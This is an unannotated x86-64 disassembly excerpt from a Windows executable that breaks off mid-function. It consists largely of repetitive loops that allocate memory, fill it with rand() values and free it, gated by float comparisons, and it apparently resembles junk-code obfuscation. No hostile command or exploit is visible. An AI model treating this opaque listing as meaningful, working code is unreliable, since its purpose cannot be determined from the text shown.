cvtsi2sd xmm1, eax
movsd xmm0, qword [0x14009b4e8]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xcb0]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xcb0], xmm0
mov eax, dword [rsp + 0xc7c]
add eax, 1
mov dword [rsp + 0xc7c], eax
jmp 0x1400495de
mov rax, qword [rsp + 0xc80]
mov qword [rsp + 0x280], rax
cmp rax, 0
je 0x14004967f
mov rcx, qword [rsp + 0x280]
call fcn.140071ce0
jmp 0x140049684
mov eax, dword [rsp + 0xc88]
add eax, 1
mov dword [rsp + 0xc88], eax
jmp 0x1400495b0
movss xmm0, dword [0x14009b4e4]
movss dword [rsp + 0xcb0], xmm0
movss xmm0, dword [0x14009b4e0]
movss dword [rsp + 0xcb0], xmm0
jmp 0x14004760e
movss xmm0, dword [0x14009b50c]
movss dword [rsp + 0xc50], xmm0
movss xmm0, dword [0x14009b508]
movss dword [rsp + 0xc50], xmm0
movss xmm0, dword [rsp + 0xc50]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x14009b500]
ucomisd xmm0, xmm1
jne 0x14004981f
jp 0x14004981f
mov dword [rsp + 0xc4c], 0
cmp dword [rsp + 0xc4c], 0x1534
jge 0x1400497fd
mov ecx, 0x20108
call fcn.140071d00
mov qword [rsp + 0xc40], rax
mov dword [rsp + 0xc3c], 0
cmp dword [rsp + 0xc3c], 0x1a9
jge 0x1400497bb
call sub.msvcrt.dll_rand
mov ecx, 0x1406
cdq
idiv ecx
mov rax, qword [rsp + 0xc40]
movsxd rcx, dword [rsp + 0xc3c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x14009b848]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xc50]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xc50], xmm0
mov eax, dword [rsp + 0xc3c]
add eax, 1
mov dword [rsp + 0xc3c], eax
jmp 0x140049741
mov rax, qword [rsp + 0xc40]
mov qword [rsp + 0x278], rax
cmp rax, 0
je 0x1400497e2
mov rcx, qword [rsp + 0x278]
call fcn.140071ce0
jmp 0x1400497e7
mov eax, dword [rsp + 0xc4c]
add eax, 1
mov dword [rsp + 0xc4c], eax
jmp 0x140049713
movss xmm0, dword [0x14009b514]
movss dword [rsp + 0xc50], xmm0
movss xmm0, dword [0x14009b510]
movss dword [rsp + 0xc50], xmm0
movss xmm0, dword [rsp + 0xc50]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x14009b518]
ucomisd xmm0, xmm1
jne 0x14004995b
jp 0x14004995b
mov dword [rsp + 0xc38], 0
cmp dword [rsp + 0xc38], 0x1179
jge 0x140049939
mov ecx, 0x246f0
call fcn.140071d00
mov qword [rsp + 0xc30], rax
mov dword [rsp + 0xc2c], 0
cmp dword [rsp + 0xc2c], 0x2ed
jge 0x1400498f7
call sub.msvcrt.dll_rand
mov ecx, 0x280b
cdq
idiv ecx
mov rax, qword [rsp + 0xc30]
movsxd rcx, dword [rsp + 0xc2c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x14009b840]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xc50]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xc50], xmm0
mov eax, dword [rsp + 0xc2c]
add eax, 1
mov dword [rsp + 0xc2c], eax
jmp 0x14004987d
mov rax, qword [rsp + 0xc30]
mov qword [rsp + 0x270], rax
cmp rax, 0
je 0x14004991e
mov rcx, qword [rsp + 0x270]
call fcn.140071ce0
jmp 0x140049923
mov eax, dword [rsp + 0xc38]
add eax, 1
mov dword [rsp + 0xc38], eax
jmp 0x14004984f
movss xmm0, dword [0x14009b524]
movss dword [rsp + 0xc50], xmm0
movss xmm0, dword [0x14009b520]
movss dword [rsp + 0xc50], xmm0
movss xmm0, dword [rsp + 0xc50]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x14009b528]
ucomisd xmm0, xmm1
jne 0x140049a97
jp 0x140049a97
mov dword [rsp + 0xc28], 0
cmp dword [rsp + 0xc28], 0x9ce
jge 0x140049a75
mov ecx, 0x1c940
call fcn.140071d00
mov qword [rsp + 0xc20], rax
mov dword [rsp + 0xc1c], 0
cmp dword [rsp + 0xc1c], 0x316
jge 0x140049a33
call sub.msvcrt.dll_rand
mov ecx, 0x2d4d
cdq
idiv ecx
mov rax, qword [rsp + 0xc20]
movsxd rcx, dword [rsp + 0xc1c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x14009b838]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xc50]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xc50], xmm0
mov eax, dword [rsp + 0xc1c]
add eax, 1
mov dword [rsp + 0xc1c], eax
jmp 0x1400499b9
mov rax, qword [rsp + 0xc20]
mov qword [rsp + 0x268], rax
cmp rax, 0
je 0x140049a5a
mov rcx, qword [rsp + 0x268]
call fcn.140071ce0
jmp 0x140049a5f
mov eax, dword [rsp + 0xc28]
add eax, 1
mov dword [rsp + 0xc28], eax
jmp 0x14004998b
movss xmm0, dword [0x14009b534]
movss dword [rsp + 0xc50], xmm0
movss xmm0, dword [0x14009b530]
movss dword [rsp + 0xc50], xmm0
movss xmm0, dword [rsp + 0xc50]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x14009b538]
ucomisd xmm0, xmm1
jne 0x140049bd3
jp 0x140049bd3
mov dword [rsp + 0xc18], 0
cmp dword [rsp + 0xc18], 0xccd
jge 0x140049bb1
mov ecx, 0x15f9c
call fcn.140071d00
mov qword [rsp + 0xc10], rax
mov dword [rsp + 0xc0c], 0
cmp dword [rsp + 0xc0c], 0x299
jge 0x140049b6f
call sub.msvcrt.dll_rand
mov ecx, 0x13ac
cdq
idiv ecx
mov rax, qword [rsp + 0xc10]
movsxd rcx, dword [rsp + 0xc0c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x14009b830]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xc50]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xc50], xmm0
mov eax, dword [rsp + 0xc0c]
add eax, 1
mov dword [rsp + 0xc0c], eax
jmp 0x140049af5
mov rax, qword [rsp + 0xc10]
mov qword [rsp + 0x260], rax
cmp rax, 0
je 0x140049b96
mov rcx, qword [rsp + 0x260]
call fcn.140071ce0
jmp 0x140049b9b
mov eax, dword [rsp + 0xc18]
add eax, 1
mov dword [rsp + 0xc18], eax
jmp 0x140049ac7
movss xmm0, dword [0x14009b544]
movss dword [rsp + 0xc50], xmm0
movss xmm0, dword [0x14009b540]
movss dword [rsp + 0xc50], xmm0
mov dword [rsp + 0xc08], 0x5b47
mov dword [rsp + 0xc04], 0
cmp dword [rsp + 0xc04], 0x590
jge 0x140049cbb
mov ecx, 0x22f70
call fcn.140071d00
mov qword [rsp + 0xbf8], rax
mov dword [rsp + 0xbf4], 0
cmp dword [rsp + 0xbf4], 0xce
jge 0x140049c79
call sub.msvcrt.dll_rand
mov ecx, 0x364b
cdq
idiv ecx
mov rax, qword [rsp + 0xbf8]
movsxd rcx, dword [rsp + 0xbf4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1738
cdq
idiv ecx
add edx, dword [rsp + 0xc08]
mov dword [rsp + 0xc08], edx
mov eax, dword [rsp + 0xbf4]
add eax, 1
mov dword [rsp + 0xbf4], eax
jmp 0x140049c17
mov rax, qword [rsp + 0xbf8]
mov qword [rsp + 0x258], rax
cmp rax, 0
je 0x140049ca0
mov rcx, qword [rsp + 0x258]
call fcn.140071ce0
jmp 0x140049ca5
mov eax, dword [rsp + 0xc04]
add eax, 1
mov dword [rsp + 0xc04], eax
jmp 0x140049be9
mov dword [rsp + 0xbf0], 0x71d8
mov dword [rsp + 0xbec], 0
cmp dword [rsp + 0xbec], 0x708
jge 0x140049da3
mov ecx, 0x1003c
call fcn.140071d00
mov qword [rsp + 0xbe0], rax
mov dword [rsp + 0xbdc], 0
cmp dword [rsp + 0xbdc], 0xd8
jge 0x140049d61
call sub.msvcrt.dll_rand
mov ecx, 0x206d
cdq
idiv ecx
mov rax, qword [rsp + 0xbe0]
movsxd rcx, dword [rsp + 0xbdc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2cd1
cdq
idiv ecx
add edx, dword [rsp + 0xbf0]
mov dword [rsp + 0xbf0], edx
mov eax, dword [rsp + 0xbdc]
add eax, 1
mov dword [rsp + 0xbdc], eax
jmp 0x140049cff
mov rax, qword [rsp + 0xbe0]
mov qword [rsp + 0x250], rax
cmp rax, 0
je 0x140049d88
mov rcx, qword [rsp + 0x250]
call fcn.140071ce0
jmp 0x140049d8d
mov eax, dword [rsp + 0xbec]
add eax, 1
mov dword [rsp + 0xbec], eax
jmp 0x140049cd1
mov dword [rsp + 0xbd8], 0x2e48
mov dword [rsp + 0xbd4], 0
cmp dword [rsp + 0xbd4], 0x758
jge 0x140049e8b
mov ecx, 0x11970
call fcn.140071d00
mov qword [rsp + 0xbc8], rax
mov dword [rsp + 0xbc4], 0
cmp dword [rsp + 0xbc4], 0x13b
jge 0x140049e49
call sub.msvcrt.dll_rand
mov ecx, 0x2d3a
cdq
idiv ecx
mov rax, qword [rsp + 0xbc8]
movsxd rcx, dword [rsp + 0xbc4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2c2e
cdq
idiv ecx
add edx, dword [rsp + 0xbd8]
mov dword [rsp + 0xbd8], edx
mov eax, dword [rsp + 0xbc4]
add eax, 1
mov dword [rsp + 0xbc4], eax
jmp 0x140049de7
mov rax, qword [rsp + 0xbc8]
mov qword [rsp + 0x248], rax
cmp rax, 0
je 0x140049e70
mov rcx, qword [rsp + 0x248]
call fcn.140071ce0
jmp 0x140049e75
mov eax, dword [rsp + 0xbd4]
add eax, 1
mov dword [rsp + 0xbd4], eax
jmp 0x140049db9
mov dword [rsp + 0xbc0], 0xeca
mov dword [rsp + 0xbbc], 0
cmp dword [rsp + 0xbbc], 0x670
jge 0x140049f73
mov ecx, 0x22d58
call fcn.140071d00
mov qword [rsp + 0xbb0], rax
mov dword [rsp + 0xbac], 0
cmp dword [rsp + 0xbac], 0x9d
jge 0x140049f31
call sub.msvcrt.dll_rand
mov ecx, 0x2883
cdq
idiv ecx
mov rax, qword [rsp + 0xbb0]
movsxd rcx, dword [rsp + 0xbac]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3a89
cdq
idiv ecx
add edx, dword [rsp + 0xbc0]
mov dword [rsp + 0xbc0], edx
mov eax, dword [rsp + 0xbac]
add eax, 1
mov dword [rsp + 0xbac], eax
jmp 0x140049ecf
mov rax, qword [rsp + 0xbb0]
mov qword [rsp + 0x240], rax
cmp rax, 0
je 0x140049f58
mov rcx, qword [rsp + 0x240]
call fcn.140071ce0
jmp 0x140049f5d
mov eax, dword [rsp + 0xbbc]
add eax, 1
mov dword [rsp + 0xbbc], eax
jmp 0x140049ea1
mov dword [rsp + 0xba8], 0x725d
mov dword [rsp + 0xba4], 0
cmp dword [rsp + 0xba4], 0x6a0
jge 0x14004a05b
mov ecx, 0xd138
call fcn.140071d00
mov qword [rsp + 0xb98], rax
mov dword [rsp + 0xb94], 0
cmp dword [rsp + 0xb94], 0x1f4
jge 0x14004a019
call sub.msvcrt.dll_rand
mov ecx, 0x212a
cdq
idiv ecx
mov rax, qword [rsp + 0xb98]
movsxd rcx, dword [rsp + 0xb94]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3916
cdq
idiv ecx
add edx, dword [rsp + 0xba8]
mov dword [rsp + 0xba8], edx
mov eax, dword [rsp + 0xb94]
add eax, 1
mov dword [rsp + 0xb94], eax
jmp 0x140049fb7
mov rax, qword [rsp + 0xb98]
mov qword [rsp + 0x238], rax
cmp rax, 0
je 0x14004a040
mov rcx, qword [rsp + 0x238]
call fcn.140071ce0
jmp 0x14004a045
mov eax, dword [rsp + 0xba4]
add eax, 1
mov dword [rsp + 0xba4], eax
jmp 0x140049f89
mov dword [rsp + 0xb90], 0x5e51
mov dword [rsp + 0xb8c], 0
cmp dword [rsp + 0xb8c], 0x4fb
jge 0x14004a140
mov ecx, 0x21c7c
call fcn.140071d00
mov qword [rsp + 0xb80], rax
mov dword [rsp + 0xb7c], 0
cmp dword [rsp + 0xb7c], 0x7f
jge 0x14004a0fe
call sub.msvcrt.dll_rand
mov ecx, 0x176f
cdq
idiv ecx
mov rax, qword [rsp + 0xb80]
movsxd rcx, dword [rsp + 0xb7c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x164a
cdq
idiv ecx
add edx, dword [rsp + 0xb90]
mov dword [rsp + 0xb90], edx
mov eax, dword [rsp + 0xb7c]
add eax, 1
mov dword [rsp + 0xb7c], eax
jmp 0x14004a09f
mov rax, qword [rsp + 0xb80]
mov qword [rsp + 0x230], rax
cmp rax, 0
je 0x14004a125
mov rcx, qword [rsp + 0x230]
call fcn.140071ce0
jmp 0x14004a12a
mov eax, dword [rsp + 0xb8c]
add eax, 1
mov dword [rsp + 0xb8c], eax
jmp 0x14004a071
mov dword [rsp + 0xb78], 0x4190
mov dword [rsp + 0xb74], 0
cmp dword [rsp + 0xb74], 0x516
jge 0x14004a228
mov ecx, 0x15520
call fcn.140071d00
mov qword [rsp + 0xb68], rax
mov dword [rsp + 0xb64], 0
cmp dword [rsp + 0xb64], 0x155
jge 0x14004a1e6
call sub.msvcrt.dll_rand
mov ecx, 0x3884
cdq
idiv ecx
mov rax, qword [rsp + 0xb68]
movsxd rcx, dword [rsp + 0xb64]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x22d3
cdq
idiv ecx
add edx, dword [rsp + 0xb78]
mov dword [rsp + 0xb78], edx
mov eax, dword [rsp + 0xb64]
add eax, 1
mov dword [rsp + 0xb64], eax
jmp 0x14004a184
mov rax, qword [rsp + 0xb68]
mov qword [rsp + 0x228], rax
cmp rax, 0
je 0x14004a20d
mov rcx, qword [rsp + 0x228]
call fcn.140071ce0
jmp 0x14004a212
mov eax, dword [rsp + 0xb74]
add eax, 1
mov dword [rsp + 0xb74], eax
jmp 0x14004a156
mov dword [rsp + 0xb60], 0x7288
mov dword [rsp + 0xb5c], 0
cmp dword [rsp + 0xb5c], 0x7cb
jge 0x14004a310
mov ecx, 0x17dfc
call fcn.140071d00
mov qword [rsp + 0xb50], rax
mov dword [rsp + 0xb4c], 0
cmp dword [rsp + 0xb4c], 0x8c
jge 0x14004a2ce
call sub.msvcrt.dll_rand
mov ecx, 0x2771
cdq
idiv ecx
mov rax, qword [rsp + 0xb50]
movsxd rcx, dword [rsp + 0xb4c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2e61
cdq
idiv ecx
add edx, dword [rsp + 0xb60]
mov dword [rsp + 0xb60], edx
mov eax, dword [rsp + 0xb4c]
add eax, 1
mov dword [rsp + 0xb4c], eax
jmp 0x14004a26c
mov rax, qword [rsp + 0xb50]
mov qword [rsp + 0x220], rax
cmp rax, 0
je 0x14004a2f5
mov rcx, qword [rsp + 0x220]
call fcn.140071ce0
jmp 0x14004a2fa
mov eax, dword [rsp + 0xb5c]
add eax, 1
mov dword [rsp + 0xb5c], eax
jmp 0x14004a23e
mov dword [rsp + 0xb48], 0x5400
mov dword [rsp + 0xb44], 0
cmp dword [rsp + 0xb44], 0x710
jge 0x14004a3f8
mov ecx, 0xc4b8
call fcn.140071d00
mov qword [rsp + 0xb38], rax
mov dword [rsp + 0xb34], 0
cmp dword [rsp + 0xb34], 0xdf
jge 0x14004a3b6
call sub.msvcrt.dll_rand
mov ecx, 0x3a07
cdq
idiv ecx
mov rax, qword [rsp + 0xb38]
movsxd rcx, dword [rsp + 0xb34]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1dd5
cdq
idiv ecx
add edx, dword [rsp + 0xb48]
mov dword [rsp + 0xb48], edx
mov eax, dword [rsp + 0xb34]
add eax, 1
mov dword [rsp + 0xb34], eax
jmp 0x14004a354
mov rax, qword [rsp + 0xb38]
mov qword [rsp + 0x218], rax
cmp rax, 0
je 0x14004a3dd
mov rcx, qword [rsp + 0x218]
call fcn.140071ce0
jmp 0x14004a3e2
mov eax, dword [rsp + 0xb44]
add eax, 1
mov dword [rsp + 0xb44], eax
jmp 0x14004a326
movss xmm0, dword [0x14009b554]
movss dword [rsp + 0xb30], xmm0
movss xmm0, dword [0x14009b550]
movss dword [rsp + 0xb30], xmm0
movss xmm0, dword [rsp + 0xb30]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x14009b548]
ucomisd xmm0, xmm1
jne 0x14004a556
jp 0x14004a556
mov dword [rsp + 0xb2c], 0
cmp dword [rsp + 0xb2c], 0x1234
jge 0x14004a534
mov ecx, 0x187a4
call fcn.140071d00
mov qword [rsp + 0xb20], rax
mov dword [rsp + 0xb1c], 0
cmp dword [rsp + 0xb1c], 0xeb
jge 0x14004a4f2
call sub.msvcrt.dll_rand
mov ecx, 0x23ee
cdq
idiv ecx
mov rax, qword [rsp + 0xb20]
movsxd rcx, dword [rsp + 0xb1c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x14009b828]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xb30]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xb30], xmm0
mov eax, dword [rsp + 0xb1c]
add eax, 1
mov dword [rsp + 0xb1c], eax
jmp 0x14004a478
mov rax, qword [rsp + 0xb20]
mov qword [rsp + 0x210], rax
cmp rax, 0
je 0x14004a519
mov rcx, qword [rsp + 0x210]
call fcn.140071ce0
jmp 0x14004a51e
mov eax, dword [rsp + 0xb2c]
add eax, 1
mov dword [rsp + 0xb2c], eax
jmp 0x14004a44a
movss xmm0, dword [0x14009b55c]
movss dword [rsp + 0xb30], xmm0
movss xmm0, dword [0x14009b558]
movss dword [rsp + 0xb30], xmm0
movss xmm0, dword [rsp + 0xb30]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x14009b560]
ucomisd xmm0, xmm1
jne 0x14004a692
jp 0x14004a692
mov dword [rsp + 0xb18], 0
cmp dword [rsp + 0xb18], 0xbe3
jge 0x14004a670
mov ecx, 0x23ed4
call fcn.140071d00
mov qword [rsp + 0xb10], rax
mov dword [rsp + 0xb0c], 0
cmp dword [rsp + 0xb0c], 0x21e
jge 0x14004a62e
call sub.msvcrt.dll_rand
mov ecx, 0x1bc2
cdq
idiv ecx
mov rax, qword [rsp + 0xb10]
movsxd rcx, dword [rsp + 0xb0c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x14009b820]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xb30]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xb30], xmm0
mov eax, dword [rsp + 0xb0c]
add eax, 1
mov dword [rsp + 0xb0c], eax
jmp 0x14004a5b4
mov rax, qword [rsp + 0xb10]
mov qword [rsp + 0x208], rax
cmp rax, 0
je 0x14004a655
mov rcx, qword [rsp + 0x208]
call fcn.140071ce0
jmp 0x14004a65a
mov eax, dword [rsp + 0xb18]
add eax, 1
mov dword [rsp + 0xb18], eax
jmp 0x14004a586
movss xmm0, dword [0x14009b56c]
movss dword [rsp + 0xb30], xmm0
movss xmm0, dword [0x14009b568]
movss dword [rsp + 0xb30], xmm0
lea rcx, [0x1400a8150]
lea rdx, [0x140073990]
mov r8d, 0x24c81
call fcn.140043010
movss xmm0, dword [0x14009b57c]
movss dword [rsp + 0xb08], xmm0
movss xmm0, dword [0x14009b578]
movss dword [rsp + 0xb08], xmm0
movss xmm0, dword [rsp + 0xb08]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x14009b570]
ucomisd xmm0, xmm1
jne 0x14004a809
jp 0x14004a809
mov dword [rsp + 0xb04], 0
cmp dword [rsp + 0xb04], 0x1412
jge 0x14004a7e7
mov ecx, 0x137e8
call fcn.140071d00
mov qword [rsp + 0xaf8], rax
mov dword [rsp + 0xaf4], 0
cmp dword [rsp + 0xaf4], 0x36d
jge 0x14004a7a5
call sub.msvcrt.dll_rand
mov ecx, 0x29f4
cdq
idiv ecx
mov rax, qword [rsp + 0xaf8]
movsxd rcx, dword [rsp + 0xaf4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x14009b818]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xb08]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xb08], xmm0
mov eax, dword [rsp + 0xaf4]
add eax, 1
mov dword [rsp + 0xaf4], eax
jmp 0x14004a72b
mov rax, qword [rsp + 0xaf8]
mov qword [rsp + 0x200], rax
cmp rax, 0
je 0x14004a7cc
mov rcx, qword [rsp + 0x200]
call fcn.140071ce0
jmp 0x14004a7d1
mov eax, dword [rsp + 0xb04]
add eax, 1
mov dword [rsp + 0xb04], eax
jmp 0x14004a6fd
movss xmm0, dword [0x14009b584]
movss dword [rsp + 0xb08], xmm0
movss xmm0, dword [0x14009b580]
movss dword [rsp + 0xb08], xmm0
movss xmm0, dword [rsp + 0xb08]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x14009b588]
ucomisd xmm0, xmm1
jne 0x14004a945
jp 0x14004a945
mov dword [rsp + 0xaf0], 0
cmp dword [rsp + 0xaf0], 0xa45
jge 0x14004a923
mov ecx, 0x23a80
call fcn.140071d00
mov qword [rsp + 0xae8], rax
mov dword [rsp + 0xae4], 0
cmp dword [rsp + 0xae4], 0x2ce
jge 0x14004a8e1
call sub.msvcrt.dll_rand
mov ecx, 0x1d46
cdq
idiv ecx
mov rax, qword [rsp + 0xae8]
movsxd rcx, dword [rsp + 0xae4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x14009b810]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xb08]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xb08], xmm0
mov eax, dword [rsp + 0xae4]
add eax, 1
mov dword [rsp + 0xae4], eax
jmp 0x14004a867
mov rax, qword [rsp + 0xae8]
mov qword [rsp + 0x1f8], rax
cmp rax, 0
je 0x14004a908
mov rcx, qword [rsp + 0x1f8]
call fcn.140071ce0
jmp 0x14004a90d
mov eax, dword [rsp + 0xaf0]
add eax, 1
mov dword [rsp + 0xaf0], eax
jmp 0x14004a839
movss xmm0, dword [0x14009b594]
movss dword [rsp + 0xb08], xmm0
movss xmm0, dword [str._K_H_]
movss dword [rsp + 0xb08], xmm0
movss xmm0, dword [rsp + 0xb08]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x14009b598]
ucomisd xmm0, xmm1
jne 0x14004aa81
jp 0x14004aa81
mov dword [rsp + 0xae0], 0
cmp dword [rsp + 0xae0], 0x146f
jge 0x14004aa5f
mov ecx, 0x17de0
call fcn.140071d00
mov qword [rsp + 0xad8], rax
mov dword [rsp + 0xad4], 0
cmp dword [rsp + 0xad4], 0x370
jge 0x14004aa1d
call sub.msvcrt.dll_rand
mov ecx, 0x36aa
cdq
idiv ecx
mov rax, qword [rsp + 0xad8]
movsxd rcx, dword [rsp + 0xad4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x14009b808]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xb08]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xb08], xmm0
mov eax, dword [rsp + 0xad4]
add eax, 1
mov dword [rsp + 0xad4], eax
jmp 0x14004a9a3
mov rax, qword [rsp + 0xad8]
mov qword [rsp + 0x1f0], rax
cmp rax, 0
je 0x14004aa44
mov rcx, qword [rsp + 0x1f0]
call fcn.140071ce0
jmp 0x14004aa49
mov eax, dword [rsp + 0xae0]
add eax, 1
mov dword [rsp + 0xae0], eax
jmp 0x14004a975
movss xmm0, dword [0x14009b5a4]
movss dword [rsp + 0xb08], xmm0
movss xmm0, dword [0x14009b5a0]
movss dword [rsp + 0xb08], xmm0
movss xmm0, dword [rsp + 0xb08]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x14009b5a8]
ucomisd xmm0, xmm1
jne 0x14004abbd
jp 0x14004abbd
mov dword [rsp + 0xad0], 0
cmp dword [rsp + 0xad0], 0xbea
jge 0x14004ab9b
mov ecx, 0x263e8
call fcn.140071d00
mov qword [rsp + 0xac8], rax
mov dword [rsp + 0xac4], 0
cmp dword [rsp + 0xac4], 0x1c8
jge 0x14004ab59
call sub.msvcrt.dll_rand
mov ecx, 0x2ac7
cdq
idiv ecx
mov rax, qword [rsp + 0xac8]
movsxd rcx, dword [rsp + 0xac4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x14009b800]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xb08]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xb08], xmm0
mov eax, dword [rsp + 0xac4]
add eax, 1
mov dword [rsp + 0xac4], eax
jmp 0x14004aadf
mov rax, qword [rsp + 0xac8]
mov qword [rsp + 0x1e8], rax
cmp rax, 0
je 0x14004ab80
mov rcx, qword [rsp + 0x1e8]
call fcn.140071ce0
jmp 0x14004ab85
mov eax, dword [rsp + 0xad0]
add eax, 1
mov dword [rsp + 0xad0], eax
jmp 0x14004aab1
movss xmm0, dword [str.Y_FI]
movss dword [rsp + 0xb08], xmm0
movss xmm0, dword [0x14009b5b0]
movss dword [rsp + 0xb08], xmm0
movss xmm0, dword [rsp + 0xb08]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x14009b5b8]
ucomisd xmm0, xmm1
jne 0x14004acf9
jp 0x14004acf9
mov dword [rsp + 0xac0], 0
cmp dword [rsp + 0xac0], 0xc15
jge 0x14004acd7
mov ecx, 0x216fc
call fcn.140071d00
mov qword [rsp + 0xab8], rax
mov dword [rsp + 0xab4], 0
cmp dword [rsp + 0xab4], 0x254
jge 0x14004ac95
call sub.msvcrt.dll_rand
mov ecx, 0x3920
cdq
idiv ecx
mov rax, qword [rsp + 0xab8]
movsxd rcx, dword [rsp + 0xab4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x14009b7f8]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xb08]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xb08], xmm0
mov eax, dword [rsp + 0xab4]
add eax, 1
mov dword [rsp + 0xab4], eax
jmp 0x14004ac1b
mov rax, qword [rsp + 0xab8]
mov qword [rsp + 0x1e0], rax
cmp rax, 0
je 0x14004acbc
mov rcx, qword [rsp + 0x1e0]
call fcn.140071ce0
jmp 0x14004acc1
mov eax, dword [rsp + 0xac0]
add eax, 1
mov dword [rsp + 0xac0], eax
jmp 0x14004abed
movss xmm0, dword [0x14009b5c4]
movss dword [rsp + 0xb08], xmm0
movss xmm0, dword [0x14009b5c0]
movss dword [rsp + 0xb08], xmm0
mov dword [rsp + 0xab0], 0x11cf
mov dword [rsp + 0xaac], 0
cmp dword [rsp + 0xaac], 0x671
jge 0x14004ade1
mov ecx, 0x250c8
call fcn.140071d00
mov qword [rsp + 0xaa0], rax
mov dword [rsp + 0xa9c], 0
cmp dword [rsp + 0xa9c], 0x17a
jge 0x14004ad9f
call sub.msvcrt.dll_rand
mov ecx, 0x36db
cdq
idiv ecx
mov rax, qword [rsp + 0xaa0]
movsxd rcx, dword [rsp + 0xa9c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3627
cdq
idiv ecx
add edx, dword [rsp + 0xab0]
mov dword [rsp + 0xab0], edx
mov eax, dword [rsp + 0xa9c]
add eax, 1
mov dword [rsp + 0xa9c], eax
jmp 0x14004ad3d
mov rax, qword [rsp + 0xaa0]
mov qword [rsp + 0x1d8], rax
cmp rax, 0
je 0x14004adc6
mov rcx, qword [rsp + 0x1d8]
call fcn.140071ce0
jmp 0x14004adcb
mov eax, dword [rsp + 0xaac]
add eax, 1
mov dword [rsp + 0xaac], eax
jmp 0x14004ad0f
mov dword [rsp + 0xa98], 0x9b1
mov dword [rsp + 0xa94], 0
cmp dword [rsp + 0xa94], 0x499
jge 0x14004aec9
mov ecx, 0x1e7cc
call fcn.140071d00
mov qword [rsp + 0xa88], rax
mov dword [rsp + 0xa84], 0
cmp dword [rsp + 0xa84], 0x13a
jge 0x14004ae87
call sub.msvcrt.dll_rand
mov ecx, 0x31e8
